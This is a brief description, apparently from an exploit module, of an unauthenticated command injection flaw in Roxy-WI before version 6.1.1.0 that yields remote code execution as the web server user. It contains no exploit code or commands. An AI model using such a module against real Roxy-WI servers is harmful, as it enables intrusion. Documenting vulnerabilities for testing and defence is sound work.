          This module exploits an unauthenticated command injection vulnerability in Roxy-WI
          prior to version 6.1.1.0. Successful exploitation results in remote code execution
          under the context of the web server user.

          Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
